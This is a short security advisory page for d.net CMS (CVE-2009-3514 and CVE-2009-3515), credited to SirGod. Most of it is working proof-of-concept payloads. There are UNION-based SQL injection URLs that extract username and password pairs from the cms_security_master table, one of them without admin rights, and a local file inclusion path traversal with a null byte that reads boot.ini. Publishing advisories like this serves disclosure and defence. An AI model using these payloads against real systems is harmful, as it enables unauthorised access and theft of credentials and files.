d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities

2009.10.04
Credit: SirGod
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2009-3514 | CVE-2009-3515
CWE: CWE-89
CWE-22

############################################################################################################################################### [+] d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ############################################################################################################################################### [+] Download : http://sourceforge.net/projects/dnet/ [+] SQL Injection PoC's - No admin required http://127.0.0.1/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5, 6,7+from+cms_security_master+where+id=1-- - Admin required http://127.0.0.1/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5, 6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news http://127.0.0.1/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4, 5,6,7+from+cms_security_master+where+id=1--&type=news [+] Local File Inclusion - PoC - Admin required http://127.0.0.1/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00 ###############################################################################################################################################

References:

http://www.milw0rm.com/exploits/9312


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top